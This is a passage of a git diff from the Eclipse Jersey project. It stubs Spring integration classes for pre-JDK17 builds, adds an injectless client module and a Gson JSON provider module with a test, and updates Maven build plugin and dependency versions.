and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.server.spring; + +import org.glassfish.jersey.internal.inject.InjectionManager; +import org.glassfish.jersey.internal.util.JdkVersion; +import org.glassfish.jersey.server.spi.ComponentProvider; + +import java.util.Set; + +/** + * Custom ComponentProvider class. + * Responsible for 1) bootstrapping Jersey 3 Spring integration and + * 2) making Jersey skip JAX-RS Spring component life-cycle management and leave it to us. + * + * @author Marko Asplund (marko.asplund at yahoo.com) + */ +public class SpringComponentProvider implements ComponentProvider { + + @Override + public void initialize(InjectionManager injectionManager) { + if (JdkVersion.getJdkVersion().getMajor() < 17) { + throw new IllegalStateException(LocalizationMessages.NOT_SUPPORTED()); + } + } + + @Override + public boolean bind(Class component, Set> providerContracts) { + return false; + } + + @Override + public void done() { + + } +} diff --git a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/SpringLifecycleListener.java b/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java similarity index 62% rename from ext/spring5/src/main/java/org/glassfish/jersey/server/spring/SpringLifecycleListener.java rename to ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java index 5a06926b947..15dd493a922 100644 --- a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/SpringLifecycleListener.java +++ b/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,41 +17,25 @@ package org.glassfish.jersey.server.spring; import jakarta.ws.rs.ext.Provider; - -import jakarta.inject.Inject; - +import org.glassfish.jersey.internal.util.JdkVersion; import org.glassfish.jersey.server.spi.Container; import org.glassfish.jersey.server.spi.ContainerLifecycleListener; -import org.springframework.context.ApplicationContext; -import org.springframework.context.ConfigurableApplicationContext; - -/** - * JAX-RS Provider class for processing Jersey 2 Spring integration container life-cycle events. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - */ @Provider public class SpringLifecycleListener implements ContainerLifecycleListener { - @Inject - private ApplicationContext ctx; - @Override public void onStartup(Container container) { + if (JdkVersion.getJdkVersion().getMajor() < 17) { + throw new IllegalStateException(LocalizationMessages.NOT_SUPPORTED()); + } } @Override public void onReload(Container container) { - if (ctx instanceof ConfigurableApplicationContext) { - ((ConfigurableApplicationContext) ctx).refresh(); - } } @Override public void onShutdown(Container container) { - if (ctx instanceof ConfigurableApplicationContext) { - ((ConfigurableApplicationContext) ctx).close(); - } } } diff --git a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java b/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java new file mode 100644 index 00000000000..9a41f804f81 --- /dev/null +++ b/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java @@ -0,0 +1,54 @@ +/* + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.server.spring.scope; + +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerRequestFilter; +import jakarta.ws.rs.container.ContainerResponseContext; +import jakarta.ws.rs.container.ContainerResponseFilter; +import jakarta.ws.rs.container.PreMatching; +import jakarta.ws.rs.ext.Provider; +import org.glassfish.jersey.internal.util.JdkVersion; +import org.glassfish.jersey.server.spring.LocalizationMessages; + +import java.io.IOException; + +/** + * Spring filter to provide a bridge between JAX-RS and Spring request attributes. + * + * @author Marko Asplund (marko.asplund at yahoo.com) + * @author Jakub Podlesak + * @author Marek Potociar + */ +@Provider +@PreMatching +public final class RequestContextFilter implements ContainerRequestFilter, ContainerResponseFilter { + + @Override + public void filter(ContainerRequestContext requestContext) throws IOException { + if (JdkVersion.getJdkVersion().getMajor() < 17) { + throw new IllegalStateException(LocalizationMessages.NOT_SUPPORTED()); + } + } + + @Override + public void filter(ContainerRequestContext requestContext, ContainerResponseContext responseContext) throws IOException { + if (JdkVersion.getJdkVersion().getMajor() < 17) { + throw new IllegalStateException(LocalizationMessages.NOT_SUPPORTED()); + } + } +} diff --git a/ext/spring4/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ComponentProvider b/ext/spring6/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ComponentProvider similarity index 100% rename from ext/spring4/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ComponentProvider rename to ext/spring6/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ComponentProvider diff --git a/ext/spring4/src/main/resources/jersey-spring-applicationContext.xml b/ext/spring6/src/main/resources/jersey-spring-applicationContext.xml similarity index 95% rename from ext/spring4/src/main/resources/jersey-spring-applicationContext.xml rename to ext/spring6/src/main/resources/jersey-spring-applicationContext.xml index 00e4dda7f6b..b563fd32eb9 100644 --- a/ext/spring4/src/main/resources/jersey-spring-applicationContext.xml +++ b/ext/spring6/src/main/resources/jersey-spring-applicationContext.xml @@ -1,7 +1,7 @@ + + + 4.0.0 + + + org.glassfish.jersey.incubator + project + 3.1.99-SNAPSHOT + + + jersey-injectless-client + jar + jersey-inject-injectless-client + + Client side support of no injection mechanism + + + + org.glassfish.jersey.core + jersey-common + ${project.version} + + + org.glassfish.jersey.core + jersey-client + ${project.version} + + + + + + + org.apache.felix + maven-bundle-plugin + true + true + + + + diff --git a/incubator/injectless-client/src/main/java/org/glassfish/jersey/inject/injectless/NonInjectionManagerFactory.java b/incubator/injectless-client/src/main/java/org/glassfish/jersey/inject/injectless/NonInjectionManagerFactory.java new file mode 100644 index 00000000000..61e6455a607 --- /dev/null +++ b/incubator/injectless-client/src/main/java/org/glassfish/jersey/inject/injectless/NonInjectionManagerFactory.java @@ -0,0 +1,47 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.inject.injectless; + +import org.glassfish.jersey.client.innate.inject.NonInjectionManager; +import org.glassfish.jersey.internal.inject.InjectionManager; +import org.glassfish.jersey.internal.inject.InjectionManagerFactory; + +import jakarta.annotation.Priority; +import jakarta.inject.Inject; +import jakarta.ws.rs.ConstrainedTo; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.RuntimeType; + +/** + *

    + * This {@link InjectionManagerFactory} implementation provides a special {@link InjectionManager}. The highest priority + * of this injection manager is not to require any DI container. It is designed for pure REST client performing a request + * without a further requirements for performing injections in the customer client classes, such a filter or a provider. + * It means the customer classes do not have any injection points defined by {@link Inject} or {@link Context}. + *

    + *

    + * Using this injection manager does not prevent using any Jersey modules (such as Jersey-Media-Jackson module) from working + * with the client. + *

    + */ +@Priority(15) +@ConstrainedTo(RuntimeType.CLIENT) +public class NonInjectionManagerFactory implements InjectionManagerFactory { + @Override + public InjectionManager create(Object parent) { + return new NonInjectionManager(false); + } +} diff --git a/incubator/injectless-client/src/main/resources/META-INF/services/org.glassfish.jersey.internal.inject.InjectionManagerFactory b/incubator/injectless-client/src/main/resources/META-INF/services/org.glassfish.jersey.internal.inject.InjectionManagerFactory new file mode 100644 index 00000000000..8473fa4b41d --- /dev/null +++ b/incubator/injectless-client/src/main/resources/META-INF/services/org.glassfish.jersey.internal.inject.InjectionManagerFactory @@ -0,0 +1 @@ +org.glassfish.jersey.inject.injectless.NonInjectionManagerFactory \ No newline at end of file diff --git a/incubator/kryo/pom.xml b/incubator/kryo/pom.xml index 7c09b331be7..9778d5c9779 100644 --- a/incubator/kryo/pom.xml +++ b/incubator/kryo/pom.xml @@ -1,7 +1,7 @@ + + + 4.0.0 + + + org.glassfish.jersey.media + project + 3.1.99-SNAPSHOT + + + jersey-media-json-gson + jar + jersey-media-json-gson + + + Jersey GSON support module. + + + + + + com.sun.istack + istack-commons-maven-plugin + true + + + org.codehaus.mojo + build-helper-maven-plugin + true + + + org.apache.felix + maven-bundle-plugin + true + true + + + org.glassfish.jersey.gson.* + ${jakarta.annotation.osgi.version},* + + true + + + + + + + + org.glassfish.jersey.core + jersey-common + ${project.version} + + + com.google.code.gson + gson + + + org.junit.jupiter + junit-jupiter + test + + + \ No newline at end of file diff --git a/media/json-gson/src/main/java/org/glassfish/jersey/gson/JsonGsonFeature.java b/media/json-gson/src/main/java/org/glassfish/jersey/gson/JsonGsonFeature.java new file mode 100644 index 00000000000..498f958ef6f --- /dev/null +++ b/media/json-gson/src/main/java/org/glassfish/jersey/gson/JsonGsonFeature.java @@ -0,0 +1,75 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.gson; + +import jakarta.ws.rs.core.Configuration; +import jakarta.ws.rs.core.Feature; +import jakarta.ws.rs.core.FeatureContext; + +import org.glassfish.jersey.CommonProperties; +import org.glassfish.jersey.gson.internal.JsonGsonAutoDiscoverable; +import org.glassfish.jersey.gson.internal.JsonGsonProvider; +import org.glassfish.jersey.internal.InternalProperties; +import org.glassfish.jersey.internal.util.PropertiesHelper; +/** + * Feature used to register Gson providers. + *

    + * The Feature is automatically enabled when {@link JsonGsonAutoDiscoverable} is on classpath. + * Default GSON configuration obtained by calling {@code GsonBuilder.create()} is used. + *

    + * Custom configuration, if required, can be achieved by implementing custom {@link jakarta.ws.rs.ext.ContextResolver} and + * registering it as a provider into JAX-RS runtime: + *

    + * @Provider
    + * @class GsonContextResolver implements ContextResolver<Gson> {
    + *      @Override
    + *      public Gson getContext(Class type) {
    + *          GsonBuilder builder = new GsonBuilder();
    + *          // add custom configuration
    + *          return builder.create();
    + *      }
    + * }
    + * 
    + * + */ +public class JsonGsonFeature implements Feature { + + private static final String JSON_FEATURE = JsonGsonFeature.class.getSimpleName(); + + @Override + public boolean configure(final FeatureContext context) { + final Configuration config = context.getConfiguration(); + + final String jsonFeature = CommonProperties.getValue( + config.getProperties(), + config.getRuntimeType(), + InternalProperties.JSON_FEATURE, JSON_FEATURE, String.class); + + // Other JSON providers registered. + if (!JSON_FEATURE.equalsIgnoreCase(jsonFeature)) { + return false; + } + + // Disable other JSON providers. + context.property(PropertiesHelper.getPropertyNameForRuntime( + InternalProperties.JSON_FEATURE, config.getRuntimeType()), JSON_FEATURE); + + context.register(JsonGsonProvider.class); + + return true; + } +} diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/config/ExternalPropertiesAutoDiscoverable.java b/media/json-gson/src/main/java/org/glassfish/jersey/gson/internal/JsonGsonAutoDiscoverable.java similarity index 60% rename from core-common/src/main/java/org/glassfish/jersey/internal/config/ExternalPropertiesAutoDiscoverable.java rename to media/json-gson/src/main/java/org/glassfish/jersey/gson/internal/JsonGsonAutoDiscoverable.java index 8665e2ca901..f5329539f00 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/config/ExternalPropertiesAutoDiscoverable.java +++ b/media/json-gson/src/main/java/org/glassfish/jersey/gson/internal/JsonGsonAutoDiscoverable.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2019, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,22 +14,28 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.internal.config; - -import org.glassfish.jersey.internal.spi.AutoDiscoverable; +package org.glassfish.jersey.gson.internal; import jakarta.annotation.Priority; -import jakarta.ws.rs.ConstrainedTo; -import jakarta.ws.rs.RuntimeType; import jakarta.ws.rs.core.FeatureContext; -@ConstrainedTo(RuntimeType.CLIENT) //server is configured directly in ResourceConfig +import org.glassfish.jersey.gson.JsonGsonFeature; +import org.glassfish.jersey.internal.spi.AutoDiscoverable; +import org.glassfish.jersey.internal.spi.ForcedAutoDiscoverable; + +/** + * {@link ForcedAutoDiscoverable} registering {@link JsonGsonFeature} if the feature is not already registered. + *

    + * + * @see JsonGsonFeature + */ @Priority(AutoDiscoverable.DEFAULT_PRIORITY) -public class ExternalPropertiesAutoDiscoverable implements AutoDiscoverable { +public class JsonGsonAutoDiscoverable implements ForcedAutoDiscoverable { + @Override public void configure(FeatureContext context) { - if (!context.getConfiguration().isRegistered(ExternalPropertiesConfigurationFeature.class)) { - context.register(ExternalPropertiesConfigurationFeature.class); + if (!context.getConfiguration().isRegistered(JsonGsonFeature.class)) { + context.register(JsonGsonFeature.class); } } -} \ No newline at end of file +} diff --git a/media/json-gson/src/main/java/org/glassfish/jersey/gson/internal/JsonGsonProvider.java b/media/json-gson/src/main/java/org/glassfish/jersey/gson/internal/JsonGsonProvider.java new file mode 100644 index 00000000000..50a0dcf52e6 --- /dev/null +++ b/media/json-gson/src/main/java/org/glassfish/jersey/gson/internal/JsonGsonProvider.java @@ -0,0 +1,142 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.gson.internal; + +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.OutputStream; +import java.lang.annotation.Annotation; +import java.lang.reflect.Type; + +import jakarta.inject.Inject; +import jakarta.ws.rs.Consumes; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.MultivaluedMap; +import jakarta.ws.rs.core.NoContentException; +import jakarta.ws.rs.ext.ContextResolver; +import jakarta.ws.rs.ext.Provider; +import jakarta.ws.rs.ext.Providers; + +import org.glassfish.jersey.gson.LocalizationMessages; +import org.glassfish.jersey.message.internal.AbstractMessageReaderWriterProvider; +import org.glassfish.jersey.message.internal.EntityInputStream; + +import com.google.gson.Gson; +import com.google.gson.GsonBuilder; +import org.glassfish.jersey.message.internal.ReaderWriter; + +/** + * Entity provider (reader and writer) for Gson. + * + */ +@Provider +@Produces({"application/json", "text/json", "*/*"}) +@Consumes({"application/json", "text/json", "*/*"}) +public class JsonGsonProvider extends AbstractMessageReaderWriterProvider { + + private static final String JSON = "json"; + private static final String PLUS_JSON = "+json"; + + private Providers providers; + + @Inject + public JsonGsonProvider(@Context Providers providers) { + this.providers = providers; + } + + @Override + public boolean isReadable(Class type, Type genericType, Annotation[] annotations, MediaType mediaType) { + return supportsMediaType(mediaType); + } + + @Override + public Object readFrom(Class type, Type genericType, + Annotation[] annotations, + MediaType mediaType, + MultivaluedMap httpHeaders, + InputStream entityStream) throws IOException, WebApplicationException { + EntityInputStream entityInputStream = new EntityInputStream(entityStream); + entityStream = entityInputStream; + if (entityInputStream.isEmpty()) { + throw new NoContentException(LocalizationMessages.ERROR_GSON_EMPTYSTREAM()); + } + Gson gson = getGson(type); + try { + return gson.fromJson(new InputStreamReader(entityInputStream, + ReaderWriter.getCharset(mediaType)), genericType); + } catch (Exception e) { + throw new ProcessingException(LocalizationMessages.ERROR_GSON_DESERIALIZATION(), e); + } + } + + @Override + public boolean isWriteable(Class type, Type genericType, Annotation[] annotations, MediaType mediaType) { + return supportsMediaType(mediaType); + } + + @Override + public void writeTo(Object o, Class type, Type genericType, + Annotation[] annotations, + MediaType mediaType, + MultivaluedMap httpHeaders, + OutputStream entityStream) throws IOException, WebApplicationException { + Gson gson = getGson(type); + try { + entityStream.write(gson.toJson(o).getBytes(ReaderWriter.getCharset(mediaType))); + entityStream.flush(); + } catch (Exception e) { + throw new ProcessingException(LocalizationMessages.ERROR_GSON_SERIALIZATION(), e); + } + } + + private Gson getGson(Class type) { + final ContextResolver contextResolver = providers.getContextResolver(Gson.class, MediaType.APPLICATION_JSON_TYPE); + if (contextResolver != null) { + return contextResolver.getContext(type); + } else { + return GsonSingleton.INSTANCE.getInstance(); + } + } + + /** + * @return true for all media types of the pattern */json and + * */*+json. + */ + private static boolean supportsMediaType(final MediaType mediaType) { + return mediaType.getSubtype().equals(JSON) || mediaType.getSubtype().endsWith(PLUS_JSON); + } + + private enum GsonSingleton { + INSTANCE; + + // Thread-safe + private Gson gsonInstance; + + Gson getInstance() { + return gsonInstance; + } + + GsonSingleton() { + this.gsonInstance = new GsonBuilder().create(); + } + } +} diff --git a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/package-info.java b/media/json-gson/src/main/java/org/glassfish/jersey/gson/package-info.java similarity index 76% rename from ext/spring5/src/main/java/org/glassfish/jersey/server/spring/package-info.java rename to media/json-gson/src/main/java/org/glassfish/jersey/gson/package-info.java index 6e7b71a7670..12e6b905878 100644 --- a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/package-info.java +++ b/media/json-gson/src/main/java/org/glassfish/jersey/gson/package-info.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -15,7 +15,6 @@ */ /** - * Jersey server-side Spring 5 integration classes. - * @since 2.29 + * Jersey classes supporting JSON marshalling and unmarshalling using GSON. */ -package org.glassfish.jersey.server.spring; +package org.glassfish.jersey.gson; diff --git a/media/json-gson/src/main/resources/META-INF/services/org.glassfish.jersey.internal.spi.ForcedAutoDiscoverable b/media/json-gson/src/main/resources/META-INF/services/org.glassfish.jersey.internal.spi.ForcedAutoDiscoverable new file mode 100644 index 00000000000..7f4e0ee8b10 --- /dev/null +++ b/media/json-gson/src/main/resources/META-INF/services/org.glassfish.jersey.internal.spi.ForcedAutoDiscoverable @@ -0,0 +1 @@ +org.glassfish.jersey.gson.internal.JsonGsonAutoDiscoverable diff --git a/media/json-gson/src/main/resources/org/glassfish/jersey/gson/localization.properties b/media/json-gson/src/main/resources/org/glassfish/jersey/gson/localization.properties new file mode 100644 index 00000000000..b2ea26adc03 --- /dev/null +++ b/media/json-gson/src/main/resources/org/glassfish/jersey/gson/localization.properties @@ -0,0 +1,19 @@ +# +# Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# + +error.gson.serialization=Error writing GSON serialized object. +error.gson.deserialization=Error deserializing object from entity stream. +error.gson.emptystream=GSON cannot parse empty input stream. diff --git a/media/json-gson/src/test/java/org/glassfish/jersey/gson/internal/JsonGsonProviderTest.java b/media/json-gson/src/test/java/org/glassfish/jersey/gson/internal/JsonGsonProviderTest.java new file mode 100644 index 00000000000..98b8248c4ee --- /dev/null +++ b/media/json-gson/src/test/java/org/glassfish/jersey/gson/internal/JsonGsonProviderTest.java @@ -0,0 +1,80 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.gson.internal; + +import static jakarta.ws.rs.core.MediaType.APPLICATION_JSON_TYPE; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.lang.annotation.Annotation; +import java.lang.reflect.Type; + +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.MultivaluedHashMap; +import jakarta.ws.rs.core.NoContentException; +import jakarta.ws.rs.ext.ContextResolver; +import jakarta.ws.rs.ext.ExceptionMapper; +import jakarta.ws.rs.ext.MessageBodyReader; +import jakarta.ws.rs.ext.MessageBodyWriter; +import jakarta.ws.rs.ext.Providers; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertThrows; + +public class JsonGsonProviderTest { + + @Test + public void shouldThrowNoContentException() throws IOException { + assertThrows(NoContentException.class, () -> { + Providers providers = new EmptyProviders(); + MessageBodyReader mbr = (MessageBodyReader) new JsonGsonProvider(providers); + mbr.readFrom(Foo.class, Foo.class, new Annotation[0], APPLICATION_JSON_TYPE, + new MultivaluedHashMap<>(), new ByteArrayInputStream(new byte[0])); + }); + } + + private static final class Foo { + // no members + } + + private static final class EmptyProviders implements Providers { + + @Override + public final MessageBodyReader getMessageBodyReader(final Class type, final Type genericType, + final Annotation[] annotations, final MediaType mediaType) { + return null; + } + + @Override + public final MessageBodyWriter getMessageBodyWriter(final Class type, final Type genericType, + final Annotation[] annotations, final MediaType mediaType) { + return null; + } + + @Override + public final ExceptionMapper getExceptionMapper(final Class type) { + return null; + } + + @Override + public final ContextResolver getContextResolver(final Class contextType, final MediaType mediaType) { + return null; + } + + } + +} diff --git a/media/json-jackson/pom.xml b/media/json-jackson/pom.xml index 9456ee6234b..f0567292b07 100644 --- a/media/json-jackson/pom.xml +++ b/media/json-jackson/pom.xml @@ -1,7 +1,7 @@ @@ -411,27 +412,42 @@ org.apache.maven.plugins maven-surefire-plugin - ${surefire.version} + ${surefire.mvn.plugin.version} + + false -Xmx${surefire.maxmem.argline}m -Dfile.encoding=UTF8 ${surefire.security.argline} ${surefire.coverage.argline} ${skip.tests} - false + + + junit.jupiter.execution.parallel.enabled=true + junit.jupiter.execution.parallel.mode.classes.default=same_thread + junit.jupiter.execution.parallel.mode.default=same_thread + + + + + jersey.config.test.container.port + ${jersey.config.test.container.port} + + + 124 org.apache.maven.surefire surefire-logger-api - ${surefire.version} + ${surefire.mvn.plugin.version} true org.apache.maven.surefire surefire-api - ${surefire.version} + ${surefire.mvn.plugin.version} true @@ -439,36 +455,41 @@ org.apache.maven.plugins maven-assembly-plugin - 2.4 + ${assembly.mvn.plugin.version} - gnu + posix org.apache.maven.plugins maven-dependency-plugin - 3.1.2 + ${dependency.mvn.plugin.version} org.apache.maven.plugins maven-javadoc-plugin - 3.2.0 + ${javadoc.mvn.plugin.version} Jersey ${jersey.version} API Documentation Jersey ${jersey.version} API - Oracle and/or its affiliates. All Rights Reserved. Use is subject to license terms.]]> - https://jakartaee.github.io/rest/apidocs/2.1.6/ + https://jakartaee.github.io/rest/apidocs/3.0.0/ https://javaee.github.io/hk2/apidocs/ + https://eclipse-ee4j.github.io/jersey.github.io/apidocs/latest/jersey/ - *.internal.*:*.tests.* + *.internal.*:*.innate.*:*.tests.* + false + + org.glassfish.jersey.*:* + bundles/** module-info.java @@ -490,7 +511,7 @@ org.apache.maven.plugins maven-source-plugin - 3.0.1 + ${source.mvn.plugin.version} attach-sources @@ -504,7 +525,7 @@ org.apache.maven.plugins maven-deploy-plugin - 2.8.1 + ${deploy.mvn.plugin.version} 10 @@ -530,12 +551,12 @@ org.apache.maven.plugins maven-site-plugin - 3.7.1 + ${site.mvn.plugin.version} org.codehaus.mojo exec-maven-plugin - 1.2.1 + ${exec.mvn.plugin.version} @@ -547,7 +568,7 @@ org.apache.maven.plugins maven-jxr-plugin - 2.3 + ${jxr.mvn.plugin.version} @@ -584,7 +605,7 @@ org.codehaus.mojo findbugs-maven-plugin - ${findbugs.version} + ${findbugs.mvn.plugin.version} ${findbugs.skip} ${findbugs.threshold} @@ -612,11 +633,19 @@ org.apache.maven.plugins maven-failsafe-plugin - 3.0.0-M3 + ${failsafe.mvn.plugin.version} + + false ${skip.tests} ${skip.tests} ${failsafe.coverage.argline} + + + jersey.config.test.container.port + ${jersey.config.test.container.port} + + @@ -630,7 +659,7 @@ org.apache.maven.plugins maven-war-plugin - 3.3.1 + ${war.mvn.plugin.version} false @@ -638,12 +667,12 @@ org.apache.maven.plugins maven-ear-plugin - 2.8 + ${ear.mvn.plugin.version} org.glassfish.embedded maven-embedded-glassfish-plugin - 3.1.2.2 + ${gfembedded.mvn.plugin.version} org.glassfish.copyright @@ -669,7 +698,7 @@ org.apache.felix maven-bundle-plugin - 3.5.0 + ${felix.mvn.plugin.version} true @@ -691,7 +720,7 @@ org.codehaus.mojo xml-maven-plugin - 1.0 + ${xml.mvn.plugin.version} com.sun.tools.xjc.maven2 @@ -701,17 +730,12 @@ org.codehaus.mojo buildnumber-maven-plugin - 1.1 + ${buildnumber.mvn.plugin.version} - org.mortbay.jetty - jetty-maven-plugin - 8.1.8.v20121106 - - - org.eclipse.jetty - jetty-maven-plugin + org.eclipse.jetty.ee10 + jetty-ee10-maven-plugin ${jetty.plugin.version} @@ -738,7 +762,7 @@ org.apache.maven.plugins maven-shade-plugin - 2.4.3 + ${shade.mvn.plugin.version} shade-archive @@ -769,24 +793,24 @@ org.apache.maven.plugins maven-antrun-plugin - 3.0.0 + ${antrun.mvn.plugin.version} org.apache.ant ant - 1.10.11 + 1.10.12 org.fortasoft gradle-maven-plugin - 1.0.5 + 1.0.8 com.github.wvengen proguard-maven-plugin - 2.0.8 + ${proguard.mvn.plugin.version} net.sf.proguard @@ -841,6 +865,26 @@ org.apache.maven.plugins maven-resources-plugin + + org.codehaus.mojo + build-helper-maven-plugin + ${buildhelper.mvn.plugin.version} + + + jersey.config.test.container.port + jersey.config.test.container.stop.port + + + + + reserve-port + process-test-classes + + reserve-network-port + + + + @@ -857,6 +901,10 @@ 1.8 + + 9.3 + 3.0.9 + @@ -1122,7 +1170,7 @@ org.apache.maven.plugins maven-project-info-reports-plugin - 3.1.1 + 3.4.5 @@ -1358,6 +1406,47 @@ + + license_check + + + dash-licenses-snapshots + https://repo.eclipse.org/content/repositories/dash-licenses-snapshots/ + + false + + + + dash-licenses-releases + https://repo.eclipse.org/content/repositories/dash-licenses-releases/ + + true + + + + + + + org.eclipse.dash + license-tool-plugin + 1.0.2 + + + license-check + + license-check + + + DEPENDENCIES + true + REVIEW_SUMMARY + + + + + + + @@ -1366,7 +1455,7 @@ org.codehaus.mojo findbugs-maven-plugin - ${findbugs.version} + ${findbugs.mvn.plugin.version} @@ -1393,14 +1482,14 @@ org.apache.maven.plugins maven-javadoc-plugin - 3.2.0 + 3.4.1 false Jersey ${jersey.version} API Documentation Jersey ${jersey.version} API - Oracle and/or its affiliates. All Rights Reserved. Use is subject to license terms.]]> @@ -1531,20 +1620,20 @@ jakarta.servlet jakarta.servlet-api - ${servlet.version} + ${servlet6.version} - com.sun.activation - jakarta.activation + org.eclipse.angus + angus-activation ${jakarta.activation.version} - + org.glassfish.hk2 @@ -1641,6 +1730,11 @@ httpclient ${httpclient.version} + + org.apache.httpcomponents.client5 + httpclient5 + ${httpclient5.version} + org.eclipse.jetty @@ -1652,6 +1746,16 @@ jetty-client ${jetty.version} + + org.eclipse.jetty.http2 + jetty-http2-client + ${jetty.version} + + + org.eclipse.jetty.http2 + jetty-http2-client-transport + ${jetty.version} + org.eclipse.jetty jetty-server @@ -1659,7 +1763,22 @@ org.eclipse.jetty - jetty-webapp + jetty-security + ${jetty.version} + + + org.eclipse.jetty.http2 + jetty-http2-server + ${jetty.version} + + + org.eclipse.jetty + jetty-alpn-conscrypt-server + ${jetty.version} + + + 